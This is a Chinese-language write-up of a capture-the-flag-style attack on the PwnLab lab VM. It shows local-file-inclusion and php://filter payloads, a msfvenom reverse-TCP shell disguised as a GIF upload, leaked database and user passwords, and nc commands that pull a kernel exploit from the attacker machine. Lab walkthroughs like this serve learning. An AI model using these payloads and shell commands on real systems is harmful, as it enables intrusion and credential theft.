Pwnlab:LFI
192.168.1.112
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
OS details: Linux 3.2 - 4.8
web上有个登陆页面,有上传功能,不过要登陆后才能使用。
用paros扫描web网页,发现Directory
browsing目录遍历,路径是http://192.168.1.112/images/
查看源代码192.168.1.112/index.php,有一行:
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
尝试../../../../../../etc/passwd,看是否能泄露密码文件?
http://192.168.1.112/?page=../../../../../../../../etc/passwd%00.asp,尝试截断,无效。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
http://xxx.com?parameter=1.html说明可能有文件包含漏洞
:::
:::
然而并没有任何反应。看来LFI过滤了,编码绕过,无效
url编码 : %2e%2e%2f 解码:../
utf-8编码:..%c0%af 解码:../
看write-up
http://192.168.1.112/?page=php://filter/convert.base64-encode/resource=config
php封装协议:php://
有趣的文件包含方式:所以说,通过php://filter,这个东西是被设计,用来过滤数据流的。
resource=<xx>这个参数是必须指定的,是待过滤的文件
read=<xx> 可选参数,用来设置过滤器,等等参数。
于是我们通过使用该php的特性,指定了一个文件(文件包含),泄露了信息。就好比,我们到古董店,假装大买家,然后说”你们把所有值钱的古董都拿出来看看。”
结果看完古董调戏一通,你就走了。(并没有使用过滤功能,而只是查看xx文件而已)
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
hackbar-encoding功能base64解码
:::
:::
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
解码config文件以后,得到用户名和密码。。但是,如何知道config文件里面有用户名和密码,这是个谜。。
mysql -uroot -pH4u%QJ_H99 -h 192.168.1.112
使用mysql:登陆mysql服务器,获得Users里的用户名和密码
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
看看mysql能不能执行命令。。不能
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
登陆web上传页面。尝试上传图片,反弹shell
http://192.168.1.112/?page=php://filter/convert.base64-encode/resource=upload
故技重施,我们得到upload.php的源代码。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
源代码里清清楚楚地写着,如果文件后缀不是图片格式,就会出错。
msfvenom -p php/meterpreter/reverse_tcp LHOST="192.168.1.107攻击机ip"
LPORT=7766 -o xxd.gif
尝试真的图片,可以上传,但是webshell试来试去就不能上传。。
吐血,vi xxd.gif
然后在开头加一行 GIF98,就可以成功上传了,,
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
http://192.168.1.112/upload/b5e9b4f86ce43ca65bd79c894c4a924c.gif
图片地址
先用metasploit-multi
handler,监听。然后直接访问上面的地址,结果网页显示,不能显示图片,因为有错误,,
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
那么这样呢,虽然网页没有显示任何错误,但是监听本地端口并没有任何连接进来。。
因为在一开始的时候,我们查看过index.php的源代码,然后我们分析下index.php
http://192.168.1.112/?page=php://filter/convert.base64-encode/resource=index,解码后再分析。。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
没想到里面暗藏乾坤啊,include()函数,又包含了一个lang/
先用burp,拦截到上传页面,然后将Cookie:
PHPSESSID=58eb3vo1suaoh1iv8nkh21gho7,改成如图所示
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
然后点,go执行请求,于是用文件包含成功运行webshell。
运行的命令:
shell
id
python -c 'import pty;pty.spawn("/bin/bash")'
cat /etc/passwd
获得信息:四个普通用户,以及root用户(通过分析passwd文件第三项大于500可知)
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
其中有三个我们知道用户名和密码,于是尝试登陆 kent/JWzXuBJJNy
,ok得到普通用户权限。
uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4
(2016-02-29) i686 GNU/Linux
尝试内核漏洞提权:nc -lvp 666 < /root/Desktop/40847.cpp
nc 192.168.1.107 666 > xx.cpp
kent@pwnlab:~$ file xx.cpp
file xx.cpp
xx.cpp: C++ source, ASCII text, with CRLF line terminators
kent@pwnlab:~$ gcc xx.cpp
gcc xx.cpp
gcc: error trying to exec 'cc1plus': execvp: No such file or
directory
发生了一个错误,找的网上答案说,gcc是c编译器,g++是c++编译器,所以用g++编译,然后靶机上并没有g++编译器。。失败
writeup贴上:后面提权方式看不懂了,好像用到了pwn——二进制分析的知识。。
向各位提供writeup的大佬低头。。
总结:
本次学习了上传+文件包含拿webshell的方法。
linux base64解码的命令
echo “(base encoded text past here without braket)” | base64 -d
:::
:::
:::